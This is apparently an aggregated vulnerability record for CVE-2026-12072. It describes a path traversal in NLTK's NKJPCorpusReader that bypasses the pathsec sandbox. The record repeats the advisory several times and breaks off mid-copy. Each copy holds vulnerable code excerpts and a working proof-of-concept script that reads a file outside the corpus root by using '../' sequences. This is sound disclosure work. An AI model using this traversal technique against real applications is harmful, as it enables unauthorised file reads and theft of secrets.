{"id":"CVE-2026-12072","aliases":["DEBIAN-CVE-2026-12072","GHSA-6hm5-jgcp-p838","PYSEC-2026-3581","UBUNTU-CVE-2026-12072","openSUSE-SU-2026:11469-1"],"status":"published","title":"Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)","description":"### Summary\n   A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can\n   influence the `fileids` argument of its public read methods (`header`, `raw`,\n   `words`, `sents`, `tagged_words`) to read files outside the corpus root. The\n   reader builds the file path with no containment check and opens it with the\n   builtin `open()`, so it bypasses NLTK's `nltk.pathsec` sandbox — including the\n   strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant\n   deployments. `header()` returns the parsed content of the out-of-root file to\n   the caller (arbitrary file read).\n\n   ### Details\n   `SECURITY.md` promises that file access is \"validated against allowed NLTK data\n   directories\" and that with `nltk.pathsec.ENFORCE = True` \"unauthorized file\n   access … will raise `PermissionError`.\" That guarantee is enforced via\n   `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call\n   `nltk.pathsec.validate_path(...)`.\n\n   `NKJPCorpusReader` never uses that protected path. In\n   `nltk/corpus/reader/nkjp.py`:\n\n   - `add_root()` builds the path by **plain string concatenation** with no\n     normalization or containment check:\n     ```python\n     def add_root(self, fileid):          # lines 96-102\n         if self.root in fileid:\n             return fileid                # attacker-controlled value returned unchanged\n         return self.root + fileid        # plain concat, '..' not stripped\n     ```\n   - The header view appends a fixed basename and passes the string straight into\n     the corpus view (which opens it with the builtin `open()`):\n     ```python\n     class NKJPCorpus_Header_View(XMLCorpusView):   # line 181\n         def __init__(self, filename, **kwargs):\n             XMLCorpusView.__init__(self, filename + \"header.xml\", self.tagspec)  # line 189\n     ```\n   - The other modes reach the filesystem through `XML_Tool`, which uses a raw\n     `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the\n     builtin `open()`:\n     ```python\n     class XML_Tool:                                  # line 243\n         def __init__(self, root, filename):\n             self.read_file = os.path.join(root, filename)   # line 251\n         def build_preprocessed_file(self):\n             fr = open(self.read_file)                        # line 256 — pathsec never consulted\n     ```\n\n   Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`\n   sentinel is never invoked, so `ENFORCE = True` does not block the access. For\n   comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)\n   rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`\n   before opening — `NKJPCorpusReader` simply does not go through it.\n\n   ### PoC\n   Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.\n\n   ```\n   pip install \"nltk==3.9.4\"\n   python3 poc.py\n   ```\n\n   `poc.py`:\n   ```python\n   import builtins, os, shutil, tempfile, warnings\n   warnings.simplefilter(\"ignore\")\n   import nltk, nltk.pathsec as pathsec\n   from nltk.corpus.reader.nkjp import NKJPCorpusReader\n\n   print(\"nltk\", nltk.__version__)\n\n   # A legitimate, empty NKJP corpus root (what a real app has).\n   root = tempfile.mkdtemp(prefix=\"nkjp_corpus_root_\")\n   os.makedirs(os.path.join(root, \"sample\"), exist_ok=True)\n   open(os.path.join(root, \"sample\", \"header.xml\"), \"w\").write(\"\u003cx/\u003e\")\n\n   # The attacker's target: a file OUTSIDE the corpus root.\n   secret_dir = tempfile.mkdtemp(prefix=\"OUTSIDE_ROOT_\")\n   open(os.path.join(secret_dir, \"header.xml\"), \"w\").write(\n   \"\u003cteiHeader\u003e\u003cfileDesc\u003e\u003csourceDesc\u003e\u003cbibl\u003e\"\n   \"\u003ctitle\u003eSECRET-API-KEY=sk-live-DEADBEEF\u003c/title\u003e\"\n       \"\u003c/bibl\u003e\u003c/sourceDesc\u003e\u003c/fileDesc\u003e\u003c/teiHeader\u003e\")\n\n   # Enable the strict mode SECURITY.md recommends for web / multi-tenant.\n   pathsec.ENFORCE = True\n   print(\"ENFORCE =\", pathsec.ENFORCE)\n\n   # Prove the out-of-root read and that pathsec is never consulted.\n   opened = []; real = builtins.open\n   builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]\n\n   reader = NKJPCorpusReader(root=root + \"/\", fileids=\"sample\")\n   # Attacker-controlled `fileids`; '..' escapes the corpus root:\n   evil = root + \"/../../../../../../..\" + secret_dir + \"/\"\n   try:\n       result = reader.header(fileids=[evil])\n   finally:\n       builtins.open = real\n\n   print(\"opened outside root:\", [p for p in opened if \"OUTSIDE_ROOT_\" in p][:1])\n   print(\"disclosed content  :\", result[0][\"title\"])\n   shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)\n   ```\n\n   Output (unmodified):\n   ```\n   nltk 3.9.4\n   ENFORCE = True\n   opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']\n   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF\n   ```\n   With `ENFORCE = True`, NLTK opened a file outside the corpus root via the\n   builtin `open()` (no `PermissionError`, no warning) and returned its content.\n\n   ### Impact\n   This is a path traversal (CWE-22) leading to arbitrary file read. Any\n   application that passes attacker-influenced values into `NKJPCorpusReader`'s\n   `fileids` (e.g. letting a user choose which corpus document to read) is\n   affected; the attacker can escape the corpus root and read files elsewhere on\n   the host, defeating the `ENFORCE=True` sandbox.\n\n   Honest scoping: `header()` discloses the content of out-of-root files named\n   `header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open\n   and read an arbitrary out-of-root file (proven by intercepting `open()`), but a\n   separate pre-existing bug in `XML_Tool` (writing `str` to a binary\n   `NamedTemporaryFile`) suppresses their return value on current Python, so for\n   those modes the impact is arbitrary file open/read. The attacker chooses the\n   directory freely; a fixed basename is appended per mode. The same\n   \"build-path-then-builtin-open, skipping pathsec\" anti-pattern also appears in\n   `xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,\n   `ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-07-31T16:50:55Z","modified":"2026-10-17T12:58:04Z","fixes":[{"ecosystem":"PyPI","package":"nltk","fixed_in":["3.10.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"nltk","fixed_in":["3.10.0-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.9.4"},{"fixed":"3.10.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.10.0-1","3.10.1-1","3.10.3-1","3.8-1","3.8.1-1","3.9.1-1","3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"Debian:13","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.10.0-1","3.10.1-1","3.10.3-1","3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"Debian:14","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.0-1"}]}],"versions":["3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.0"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"]},{"source":"osv","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.0"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0~b9-0ubuntu4","2.0~b9-0ubuntu4.1~esm2","2.0~b9-0ubuntu4.1~esm4","2.0~b9-0ubuntu4.1~esm5","2.0~b9-0ubuntu4.1~esm6"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.0.4-1","3.0.5-1","3.1-1","3.1-1ubuntu0.1","3.1-1ubuntu0.1+esm1","3.1-1ubuntu0.1+esm2","3.1-1ubuntu0.1+esm3","3.1-1ubuntu0.1+esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.2.4-1","3.2.5-1","3.2.5-1ubuntu0.1","3.2.5-1ubuntu0.1+esm1","3.2.5-1ubuntu0.1+esm2","3.2.5-1ubuntu0.1+esm3","3.2.5-1ubuntu0.1+esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.4.5-1","3.4.5-2","3.4.5-2ubuntu0.1~esm1","3.4.5-2ubuntu0.1~esm2","3.4.5-2ubuntu0.1~esm3","3.4.5-2ubuntu0.1~esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.5-1","3.6.5-1","3.6.7-1","3.7-1","3.7-1ubuntu0.1~esm1","3.7-1ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.8.1-1","3.8.1-1ubuntu0.1~esm1","3.8.1-1ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.9.2-1","3.9.3-1","3.10.0-1","3.10.1-1","3.10.3-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.9.1-2","3.9.1-2build1","3.9.2-1","3.9.2-1ubuntu0.1~esm1","3.9.2-1ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.1-1.1"}]}],"bundled":3}],"references":[{"url":"https://github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838","tags":["web","report"]},{"url":"https://github.com/advisories/GHSA-6hm5-jgcp-p838","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-12072","tags":["advisory"]},{"url":"https://github.com/nltk/nltk","tags":["package"]},{"url":"https://pypi.org/project/nltk","tags":["package"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12072","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-12072","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12072","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2019-14751","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-39705","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-12072","tags":["web"]}],"sources":{"ghsa":[{"id":"GHSA-6hm5-jgcp-p838","title":"Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)","description":"### Summary\n   A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can\n   influence the `fileids` argument of its public read methods (`header`, `raw`,\n   `words`, `sents`, `tagged_words`) to read files outside the corpus root. The\n   reader builds the file path with no containment check and opens it with the\n   builtin `open()`, so it bypasses NLTK's `nltk.pathsec` sandbox — including the\n   strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant\n   deployments. `header()` returns the parsed content of the out-of-root file to\n   the caller (arbitrary file read).\n\n   ### Details\n   `SECURITY.md` promises that file access is \"validated against allowed NLTK data\n   directories\" and that with `nltk.pathsec.ENFORCE = True` \"unauthorized file\n   access … will raise `PermissionError`.\" That guarantee is enforced via\n   `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call\n   `nltk.pathsec.validate_path(...)`.\n\n   `NKJPCorpusReader` never uses that protected path. In\n   `nltk/corpus/reader/nkjp.py`:\n\n   - `add_root()` builds the path by **plain string concatenation** with no\n     normalization or containment check:\n     ```python\n     def add_root(self, fileid):          # lines 96-102\n         if self.root in fileid:\n             return fileid                # attacker-controlled value returned unchanged\n         return self.root + fileid        # plain concat, '..' not stripped\n     ```\n   - The header view appends a fixed basename and passes the string straight into\n     the corpus view (which opens it with the builtin `open()`):\n     ```python\n     class NKJPCorpus_Header_View(XMLCorpusView):   # line 181\n         def __init__(self, filename, **kwargs):\n             XMLCorpusView.__init__(self, filename + \"header.xml\", self.tagspec)  # line 189\n     ```\n   - The other modes reach the filesystem through `XML_Tool`, which uses a raw\n     `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the\n     builtin `open()`:\n     ```python\n     class XML_Tool:                                  # line 243\n         def __init__(self, root, filename):\n             self.read_file = os.path.join(root, filename)   # line 251\n         def build_preprocessed_file(self):\n             fr = open(self.read_file)                        # line 256 — pathsec never consulted\n     ```\n\n   Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`\n   sentinel is never invoked, so `ENFORCE = True` does not block the access. For\n   comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)\n   rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`\n   before opening — `NKJPCorpusReader` simply does not go through it.\n\n   ### PoC\n   Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.\n\n   ```\n   pip install \"nltk==3.9.4\"\n   python3 poc.py\n   ```\n\n   `poc.py`:\n   ```python\n   import builtins, os, shutil, tempfile, warnings\n   warnings.simplefilter(\"ignore\")\n   import nltk, nltk.pathsec as pathsec\n   from nltk.corpus.reader.nkjp import NKJPCorpusReader\n\n   print(\"nltk\", nltk.__version__)\n\n   # A legitimate, empty NKJP corpus root (what a real app has).\n   root = tempfile.mkdtemp(prefix=\"nkjp_corpus_root_\")\n   os.makedirs(os.path.join(root, \"sample\"), exist_ok=True)\n   open(os.path.join(root, \"sample\", \"header.xml\"), \"w\").write(\"\u003cx/\u003e\")\n\n   # The attacker's target: a file OUTSIDE the corpus root.\n   secret_dir = tempfile.mkdtemp(prefix=\"OUTSIDE_ROOT_\")\n   open(os.path.join(secret_dir, \"header.xml\"), \"w\").write(\n   \"\u003cteiHeader\u003e\u003cfileDesc\u003e\u003csourceDesc\u003e\u003cbibl\u003e\"\n   \"\u003ctitle\u003eSECRET-API-KEY=sk-live-DEADBEEF\u003c/title\u003e\"\n       \"\u003c/bibl\u003e\u003c/sourceDesc\u003e\u003c/fileDesc\u003e\u003c/teiHeader\u003e\")\n\n   # Enable the strict mode SECURITY.md recommends for web / multi-tenant.\n   pathsec.ENFORCE = True\n   print(\"ENFORCE =\", pathsec.ENFORCE)\n\n   # Prove the out-of-root read and that pathsec is never consulted.\n   opened = []; real = builtins.open\n   builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]\n\n   reader = NKJPCorpusReader(root=root + \"/\", fileids=\"sample\")\n   # Attacker-controlled `fileids`; '..' escapes the corpus root:\n   evil = root + \"/../../../../../../..\" + secret_dir + \"/\"\n   try:\n       result = reader.header(fileids=[evil])\n   finally:\n       builtins.open = real\n\n   print(\"opened outside root:\", [p for p in opened if \"OUTSIDE_ROOT_\" in p][:1])\n   print(\"disclosed content  :\", result[0][\"title\"])\n   shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)\n   ```\n\n   Output (unmodified):\n   ```\n   nltk 3.9.4\n   ENFORCE = True\n   opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']\n   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF\n   ```\n   With `ENFORCE = True`, NLTK opened a file outside the corpus root via the\n   builtin `open()` (no `PermissionError`, no warning) and returned its content.\n\n   ### Impact\n   This is a path traversal (CWE-22) leading to arbitrary file read. Any\n   application that passes attacker-influenced values into `NKJPCorpusReader`'s\n   `fileids` (e.g. letting a user choose which corpus document to read) is\n   affected; the attacker can escape the corpus root and read files elsewhere on\n   the host, defeating the `ENFORCE=True` sandbox.\n\n   Honest scoping: `header()` discloses the content of out-of-root files named\n   `header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open\n   and read an arbitrary out-of-root file (proven by intercepting `open()`), but a\n   separate pre-existing bug in `XML_Tool` (writing `str` to a binary\n   `NamedTemporaryFile`) suppresses their return value on current Python, so for\n   those modes the impact is arbitrary file open/read. The attacker chooses the\n   directory freely; a fixed basename is appended per mode. The same\n   \"build-path-then-builtin-open, skipping pathsec\" anti-pattern also appears in\n   `xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,\n   `ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.","status":"published","published":"2026-07-31T16:50:55Z","modified":"2026-07-31T16:50:55Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:40:55.903445Z"}],"osv":[{"id":"GHSA-6hm5-jgcp-p838","title":"Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)","description":"### Summary\n   A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can\n   influence the `fileids` argument of its public read methods (`header`, `raw`,\n   `words`, `sents`, `tagged_words`) to read files outside the corpus root. The\n   reader builds the file path with no containment check and opens it with the\n   builtin `open()`, so it bypasses NLTK's `nltk.pathsec` sandbox — including the\n   strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant\n   deployments. `header()` returns the parsed content of the out-of-root file to\n   the caller (arbitrary file read).\n\n   ### Details\n   `SECURITY.md` promises that file access is \"validated against allowed NLTK data\n   directories\" and that with `nltk.pathsec.ENFORCE = True` \"unauthorized file\n   access … will raise `PermissionError`.\" That guarantee is enforced via\n   `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call\n   `nltk.pathsec.validate_path(...)`.\n\n   `NKJPCorpusReader` never uses that protected path. In\n   `nltk/corpus/reader/nkjp.py`:\n\n   - `add_root()` builds the path by **plain string concatenation** with no\n     normalization or containment check:\n     ```python\n     def add_root(self, fileid):          # lines 96-102\n         if self.root in fileid:\n             return fileid                # attacker-controlled value returned unchanged\n         return self.root + fileid        # plain concat, '..' not stripped\n     ```\n   - The header view appends a fixed basename and passes the string straight into\n     the corpus view (which opens it with the builtin `open()`):\n     ```python\n     class NKJPCorpus_Header_View(XMLCorpusView):   # line 181\n         def __init__(self, filename, **kwargs):\n             XMLCorpusView.__init__(self, filename + \"header.xml\", self.tagspec)  # line 189\n     ```\n   - The other modes reach the filesystem through `XML_Tool`, which uses a raw\n     `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the\n     builtin `open()`:\n     ```python\n     class XML_Tool:                                  # line 243\n         def __init__(self, root, filename):\n             self.read_file = os.path.join(root, filename)   # line 251\n         def build_preprocessed_file(self):\n             fr = open(self.read_file)                        # line 256 — pathsec never consulted\n     ```\n\n   Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`\n   sentinel is never invoked, so `ENFORCE = True` does not block the access. For\n   comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)\n   rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`\n   before opening — `NKJPCorpusReader` simply does not go through it.\n\n   ### PoC\n   Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.\n\n   ```\n   pip install \"nltk==3.9.4\"\n   python3 poc.py\n   ```\n\n   `poc.py`:\n   ```python\n   import builtins, os, shutil, tempfile, warnings\n   warnings.simplefilter(\"ignore\")\n   import nltk, nltk.pathsec as pathsec\n   from nltk.corpus.reader.nkjp import NKJPCorpusReader\n\n   print(\"nltk\", nltk.__version__)\n\n   # A legitimate, empty NKJP corpus root (what a real app has).\n   root = tempfile.mkdtemp(prefix=\"nkjp_corpus_root_\")\n   os.makedirs(os.path.join(root, \"sample\"), exist_ok=True)\n   open(os.path.join(root, \"sample\", \"header.xml\"), \"w\").write(\"\u003cx/\u003e\")\n\n   # The attacker's target: a file OUTSIDE the corpus root.\n   secret_dir = tempfile.mkdtemp(prefix=\"OUTSIDE_ROOT_\")\n   open(os.path.join(secret_dir, \"header.xml\"), \"w\").write(\n   \"\u003cteiHeader\u003e\u003cfileDesc\u003e\u003csourceDesc\u003e\u003cbibl\u003e\"\n   \"\u003ctitle\u003eSECRET-API-KEY=sk-live-DEADBEEF\u003c/title\u003e\"\n       \"\u003c/bibl\u003e\u003c/sourceDesc\u003e\u003c/fileDesc\u003e\u003c/teiHeader\u003e\")\n\n   # Enable the strict mode SECURITY.md recommends for web / multi-tenant.\n   pathsec.ENFORCE = True\n   print(\"ENFORCE =\", pathsec.ENFORCE)\n\n   # Prove the out-of-root read and that pathsec is never consulted.\n   opened = []; real = builtins.open\n   builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]\n\n   reader = NKJPCorpusReader(root=root + \"/\", fileids=\"sample\")\n   # Attacker-controlled `fileids`; '..' escapes the corpus root:\n   evil = root + \"/../../../../../../..\" + secret_dir + \"/\"\n   try:\n       result = reader.header(fileids=[evil])\n   finally:\n       builtins.open = real\n\n   print(\"opened outside root:\", [p for p in opened if \"OUTSIDE_ROOT_\" in p][:1])\n   print(\"disclosed content  :\", result[0][\"title\"])\n   shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)\n   ```\n\n   Output (unmodified):\n   ```\n   nltk 3.9.4\n   ENFORCE = True\n   opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']\n   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF\n   ```\n   With `ENFORCE = True`, NLTK opened a file outside the corpus root via the\n   builtin `open()` (no `PermissionError`, no warning) and returned its content.\n\n   ### Impact\n   This is a path traversal (CWE-22) leading to arbitrary file read. Any\n   application that passes attacker-influenced values into `NKJPCorpusReader`'s\n   `fileids` (e.g. letting a user choose which corpus document to read) is\n   affected; the attacker can escape the corpus root and read files elsewhere on\n   the host, defeating the `ENFORCE=True` sandbox.\n\n   Honest scoping: `header()` discloses the content of out-of-root files named\n   `header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open\n   and read an arbitrary out-of-root file (proven by intercepting `open()`), but a\n   separate pre-existing bug in `XML_Tool` (writing `str` to a binary\n   `NamedTemporaryFile`) suppresses their return value on current Python, so for\n   those modes the impact is arbitrary file open/read. The attacker chooses the\n   directory freely; a fixed basename is appended per mode. The same\n   \"build-path-then-builtin-open, skipping pathsec\" anti-pattern also appears in\n   `xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,\n   `ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.","status":"published","published":"2026-07-31T16:50:55Z","modified":"2026-09-10T03:51:10.746883878Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:39.618611Z"},{"id":"PYSEC-2026-3581","title":"Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)","description":"### Summary\n   A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can\n   influence the `fileids` argument of its public read methods (`header`, `raw`,\n   `words`, `sents`, `tagged_words`) to read files outside the corpus root. The\n   reader builds the file path with no containment check and opens it with the\n   builtin `open()`, so it bypasses NLTK's `nltk.pathsec` sandbox — including the\n   strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant\n   deployments. `header()` returns the parsed content of the out-of-root file to\n   the caller (arbitrary file read).\n\n   ### Details\n   `SECURITY.md` promises that file access is \"validated against allowed NLTK data\n   directories\" and that with `nltk.pathsec.ENFORCE = True` \"unauthorized file\n   access … will raise `PermissionError`.\" That guarantee is enforced via\n   `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call\n   `nltk.pathsec.validate_path(...)`.\n\n   `NKJPCorpusReader` never uses that protected path. In\n   `nltk/corpus/reader/nkjp.py`:\n\n   - `add_root()` builds the path by **plain string concatenation** with no\n     normalization or containment check:\n     ```python\n     def add_root(self, fileid):          # lines 96-102\n         if self.root in fileid:\n             return fileid                # attacker-controlled value returned unchanged\n         return self.root + fileid        # plain concat, '..' not stripped\n     ```\n   - The header view appends a fixed basename and passes the string straight into\n     the corpus view (which opens it with the builtin `open()`):\n     ```python\n     class NKJPCorpus_Header_View(XMLCorpusView):   # line 181\n         def __init__(self, filename, **kwargs):\n             XMLCorpusView.__init__(self, filename + \"header.xml\", self.tagspec)  # line 189\n     ```\n   - The other modes reach the filesystem through `XML_Tool`, which uses a raw\n     `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the\n     builtin `open()`:\n     ```python\n     class XML_Tool:                                  # line 243\n         def __init__(self, root, filename):\n             self.read_file = os.path.join(root, filename)   # line 251\n         def build_preprocessed_file(self):\n             fr = open(self.read_file)                        # line 256 — pathsec never consulted\n     ```\n\n   Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`\n   sentinel is never invoked, so `ENFORCE = True` does not block the access. For\n   comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)\n   rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`\n   before opening — `NKJPCorpusReader` simply does not go through it.\n\n   ### PoC\n   Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.\n\n   ```\n   pip install \"nltk==3.9.4\"\n   python3 poc.py\n   ```\n\n   `poc.py`:\n   ```python\n   import builtins, os, shutil, tempfile, warnings\n   warnings.simplefilter(\"ignore\")\n   import nltk, nltk.pathsec as pathsec\n   from nltk.corpus.reader.nkjp import NKJPCorpusReader\n\n   print(\"nltk\", nltk.__version__)\n\n   # A legitimate, empty NKJP corpus root (what a real app has).\n   root = tempfile.mkdtemp(prefix=\"nkjp_corpus_root_\")\n   os.makedirs(os.path.join(root, \"sample\"), exist_ok=True)\n   open(os.path.join(root, \"sample\", \"header.xml\"), \"w\").write(\"\u003cx/\u003e\")\n\n   # The attacker's target: a file OUTSIDE the corpus root.\n   secret_dir = tempfile.mkdtemp(prefix=\"OUTSIDE_ROOT_\")\n   open(os.path.join(secret_dir, \"header.xml\"), \"w\").write(\n   \"\u003cteiHeader\u003e\u003cfileDesc\u003e\u003csourceDesc\u003e\u003cbibl\u003e\"\n   \"\u003ctitle\u003eSECRET-API-KEY=sk-live-DEADBEEF\u003c/title\u003e\"\n       \"\u003c/bibl\u003e\u003c/sourceDesc\u003e\u003c/fileDesc\u003e\u003c/teiHeader\u003e\")\n\n   # Enable the strict mode SECURITY.md recommends for web / multi-tenant.\n   pathsec.ENFORCE = True\n   print(\"ENFORCE =\", pathsec.ENFORCE)\n\n   # Prove the out-of-root read and that pathsec is never consulted.\n   opened = []; real = builtins.open\n   builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]\n\n   reader = NKJPCorpusReader(root=root + \"/\", fileids=\"sample\")\n   # Attacker-controlled `fileids`; '..' escapes the corpus root:\n   evil = root + \"/../../../../../../..\" + secret_dir + \"/\"\n   try:\n       result = reader.header(fileids=[evil])\n   finally:\n       builtins.open = real\n\n   print(\"opened outside root:\", [p for p in opened if \"OUTSIDE_ROOT_\" in p][:1])\n   print(\"disclosed content  :\", 